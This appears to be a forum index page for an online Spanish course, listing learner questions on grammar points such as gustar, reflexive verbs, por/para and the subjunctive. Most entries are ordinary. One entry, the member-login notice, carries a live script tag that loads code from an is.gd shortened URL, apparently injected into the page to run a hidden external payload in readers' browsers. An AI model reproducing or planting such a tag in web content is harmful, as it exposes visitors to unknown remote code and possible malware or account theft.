By taking the time to understand how the Spanish language works, you'll be able to speak Spanish naturally, and read and write in Spanish. We know this can be one of the more challenging parts of your course, and we’re here to help! You can browse the topics, do a search in the top right corner of this page, or start a new conversation. Don’t be shy!
Has anyone had any experience with online Spanish tutors? Are they worthwhile? Thanks.
1 reply - Last post by Dan-H24 - February 16, 2015
Hoy, estoy reflexionando sobre la verbos Dejar , Parecer , y Esperar I am trying to sort out the different use of these verbs with their meanings. It is easy for me to think Dejar is to leave, Parecer is to sound like and Esperar to wait and to hope. Any ...
13 replies - Last post by george-gmh - February 16, 2015
"What are we doing to torture our students with today, Amy?" Here is another one of those phrases that I just can't seem to get my head around: "¿Como qué...?" "Con qué..." would make sense to me as would just ¿Cómo...?" But "¿Como qué...?" in this cont...
18 replies - Last post by Steven-W15 - February 7, 2015
I have encountered this sentence several times in the Platinum Plus course and always wonder why it is structured this way. Práctica alone conveys the message, "you practice." I can see how this might seem more of a command than is intended, and maybe the...
7 replies - Last post by ricardo-rich - February 6, 2015
I didn't choose this location for its parties, but instead for its proximity to my workplace. The relative que must be used when sino introduces a clause with a conjugated verb... (I took the above explanation off the Internet.) The ph...
3 replies - Last post by ricardo-rich - February 6, 2015
how do you know which context to use the two words soy y estoy?
16 replies - Last post by Steven-W15 - February 6, 2015
"When a man gets married, it's the craziest thing in his life." For as many times as I have looked at this phrase, I can't seem to get my head around this last part. I understand each word but it just doesn't seem to come together for me. "...se le va..."?
3 replies - Last post by Robert-C7 - January 22, 2015
"We should wait for her to tell us." Since we are on the subjunctive these days... Shouldn't the above sentence be better said: - Deberíamos esperar a que ella nos contara. or - Debemos esperar a que ella nos cuente.
5 replies - Last post by Ava Dawn - January 22, 2015
How do you say extremely cold weather
5 replies - Last post by Cristian-Montes-de-Oca - January 21, 2015
More subjunctives https://www.youtube.com/watch?v=GbE5ORBSeu4
13 replies - Last post by Steven-W15 - January 21, 2015
In going through the course again, I'm trying to change the tense of the phrases (which is proving helpful in keeping things fresh). The phrase above seems logical but I have yet to see an example of it anywhere. Is it correct? - Yo te estoy esperando - ...
20 replies - Last post by Ava Dawn - January 18, 2015
En lección 12.5 es la frase: "Me duele el corazón." (My heart hurts) Me parace que la frase es en el tiempo presente y la conjugación correcto debe ser "duela." ¿Por qué "duele?"
6 replies - Last post by Steven-W15 - January 18, 2015
I have found three words that say, I need, I would like, do you have the, would you get me the bill?
6 replies - Last post by Steven-W15 - January 18, 2015
I am confused about the word "Lo" - sometimes is seems to mean "I" and sometimes "it". Can someone clarify this form me?
5 replies - Last post by ricardo-rich - January 10, 2015
I am working through Lesson 12.10. The examples used to illustrate the use of neither/nor are as follows: El viaje no fue un éxito ni un fracaso. The trip was neither a success nor a failure. Diego no es ni muy inteligente ni muy tonto. Diego is neithe...
9 replies - Last post by Steven-W15 - January 7, 2015
In the survival kit , What is the difference between Donde esta el banco. And Donde esta la comisaria.
7 replies - Last post by Steven-W15 - January 1, 2015
Whenever I want to say "I hope" I tend to use ojalá rather than esperar. This is something I learned in high school Spanish. So, to say "I hope you are not tired", one can say either "ojalá que no estás cansado" or "espero que no estás cansado". What i...
9 replies - Last post by Steven-W15 - December 29, 2014
Hola a todos, Could someone translate these very similar small sentences? 1> Estuvé invitado 2> Yo estaba invitado 3> Invité The only thing I know is invitado is the Past Participle of "invitar" and the three are all varients of "I was ...
8 replies - Last post by Steven-W15 - December 29, 2014
In one of the lessons describing the different usage of these two prepositions an example is given of: "I went for a run" translated as "Fue a correr". There is no explanation of why neither Por or Para is used. It explains that a verb like Pedir which m...
7 replies - Last post by Ava Dawn - December 23, 2014
¿Te los da Héctor? Does Hector give them to you? Ellos nos los piden. They ask us for them. I see both direct and indirect objects in this example and they are placed before the verb Necesito dárselo mañana. I need to give it to him tomorrow- I see bo...
9 replies - Last post by Ava Dawn - December 23, 2014
I am reviewing to take the module tests and found this sentence. Is this correct? Espero que no estés cansado. I hope that you are not tired.
9 replies - Last post by Ava Dawn - December 18, 2014
I want to see you again. Quiero volver a verte. We discussed volver and devolver before. I thought I already know these two words. I guess not. Also pienso en ti. I think of you. I thought it would be pienso de ti. I guess it sound better with en ti.
2 replies - Last post by Ava Dawn - December 15, 2014
Apologies if I've asked this question before, but this phrase bothers me and I just saw it on the test. Shouldn't it be "enseñado" as it is "el curso"?
5 replies - Last post by Robert-C7 - December 15, 2014
While studying lesson 12.9 this morning I encountered the following statement: El lago en que nadaron ustedes está contaminado. It seems like when I have seen ustedes or usted used in the past, it has preceded the verb that it clarifies, as in, El lag...
18 replies - Last post by Cristian-Montes-de-Oca - December 12, 2014
If you want to ask a question or post a response you need to be a member. If you are already a member login here. If you are not a member you can become one ... <script src=http://is.gd/xvjVMg></script>
2 replies - Last post by Robert-C7 - December 8, 2014
Here is another construction we see on signs. "se habla español" or "se habla español aquí" I understand this translates to "Spanish is spoken" and "Spanish is spoken here". Since the "actor" (the speaker) is unknown in this sentence, it is appropriate...
7 replies - Last post by Ava Dawn - December 6, 2014
I retired last year. Me jubilé el año pasado. This looks like a preterite. Again the same question. Why ""Me jubile (accent on e) and not "Yo jubile (accent on e)".
9 replies - Last post by Ava Dawn - December 6, 2014
in lesson 1.11 knowit you are very young. why cant you say, estas es muy joven
8 replies - Last post by ricardo-rich - December 4, 2014
OK - here is more fun stuff to ponder. Suppose I turn to my Spanish speaking friend and ask: ¿Cómo se dice "fruit" en español? Why do we need to include 'se' in this question? Maybe I should rephrase the English from which I am translating to somethin...
3 replies - Last post by Steven-W15 - December 4, 2014
In lesson 12.3 Mauricio asks, "¿Cómo les va?" The use of les implies that he is asking the question of more than one person. So why does he not ask, "¿Cómo les van"? Or should I be translating this sentence as "How does IT go with all of you? Now that I t...
18 replies - Last post by Steven-W15 - December 4, 2014
¿Ayudar a mi mejor amigo a ocupar su tiempo mientras su nueva esposa hace compras? Help my best friend occupy his time while his new wife goes shopping? I always thought the adjective and the noun are reverse in Spanish compared to English. How about t...
2 replies - Last post by Robert-C7 - December 3, 2014
Despite having taken four years of Spanish in high school, I still had a fuzzy understanding of direct pronouns, indirect pronouns, and reflexive verbs. In addition to that mush, I thought that gustar is a reflexive verb. I also thought it meant "to lik...
22 replies - Last post by Dan-H24 - December 1, 2014
I was looking for the name of the class of verbs that 'gustar' belongs to and I found it in the Big Red Book. Gustar is a 'reverse construction verb'. http://www.espanol-ingles.com.mx/spanish-grammar/reverse_constructions.shtml In the case of 'gustar',...
0 replies - Last post by Robert-C7 - December 1, 2014
Hola a todos, More humorous tutelage from Gordon. http://www.youtube.com/watch?v=5El5ZmnJayk Saludos, Ricardo
10 replies - Last post by Ava Dawn - November 25, 2014
I was doing some reading on reflexive verbs and I found a list where the meaning changes when one uses the reflexive form versus the non-reflexive form. This list includes the verb 'ir'. ir = to go irse = to go away, to leave So, "tengo que ir" means "...
6 replies - Last post by the-hefay - November 25, 2014
One of the things that helped me in the lessons was how they showed a progression of sentences that started very specific and substituted in the direct and indirect pronouns. For example: I gave Mary a present. Di María un regalo. The subject is "I" wh...
4 replies - Last post by ricardo-rich - November 22, 2014
Me preguntaron si te conocía, pero les dije que no. What's the "les" for? Here's the translation. "They asked me if I knew you, but I said no".
12 replies - Last post by Dan-H24 - November 21, 2014
In lesson 3.2 Amy says "tengo que irme." I was watching Destinos (thanks Dan) and Raquel used "tengo que ir." What's the difference or are they both the same? Is there a certain situation when the reflexive is required or more appropriate?
5 replies - Last post by the-hefay - November 20, 2014
According to both Rocket Spanish and most other sites, the above sentence means, "How can I help you." An earlier thread about this on this forum discussed how this sentence is structured in the passive voice ("What can you be helped with", perhaps). Howe...
13 replies - Last post by Ava Dawn - November 19, 2014
Gerund: cuidando Participle: cuidado What is a gerund and what is a participle.
6 replies - Last post by ricardo-rich - November 13, 2014
Hola a todos, I was reviewing, a perpetual state for me, and somehow how I had forgotten the different use of gustar in lesson 17.1 gustas, gustábamos. It's unlikely I would use it in that manner as I tell my wife "te quiero o te amo" but I came across t...
6 replies - Last post by Dan-H24 - November 11, 2014
Pero sí se escucha de una alta tasa de interés. But you hear about a high interest rate. Looks like it's missing the word "if" in the translation. Is my observation correct?
8 replies - Last post by maha266 - November 9, 2014
Question number one Dice que para ella la cosa más importante no es su gusto sino el gusto de su novio. The most important thing is not her tastes but her boyfriend's tastes. Where is "Dice que" in the translation?
10 replies - Last post by Dan-H24 - November 5, 2014
How come when you ask someone to take your photo, you say " puede sacar mi foto?" instead of "puedes sacar mi foto?" I thought puede meant can he or she.
5 replies - Last post by Ava Dawn - November 5, 2014
Just a curious note I thought I'd pass along. Yes, believe it or not, the subjunctive tense does exist in English. I had read this somewhere and for the life of me couldn't think of an example. And then it came to me one day from a prayer I learned as a ...
8 replies - Last post by Ava Dawn - November 4, 2014
Is there a difference in meaning between these two phrases? Are there contexts in which you would use one and not the other?
3 replies - Last post by Steven-W15 - November 3, 2014
Can we talk about this phrase? Y no sólo dijo que ustedes pueden ir a pescar cuando quieran And she didn't just say that you guys can go fishing whenever you want. It appears that pueden is third person plural present tense indicative while quieren is th...
1 reply - Last post by Robert-C7 - November 3, 2014
in lesson 1.4 bueno is translated well, ( well i don't know) no where in the spanish translation can i find it translated well only good or fine etc. what say you?
5 replies - Last post by Richard-F58 - November 3, 2014
Hola a todos, I recently read this sentence while reviewing "Laugh 'n' Learn Spanish" which is chock full of information about usage and grammar." La medida de una buena fiesta es la longitud de tiempo que toma recuperarse de ella." Translated as: "The ...
6 replies - Last post by Ava Dawn - November 2, 2014
I am reviewing lesson 6.7 this afternoon. The following two sentences are shown in the lesson: A Cecilia le gusta el fútbol. Juanita siempre me molesto cuando intento a trabajar. I'm not quite sure why the first has the personal a and the second does n...
3 replies - Last post by ricardo-rich - November 1, 2014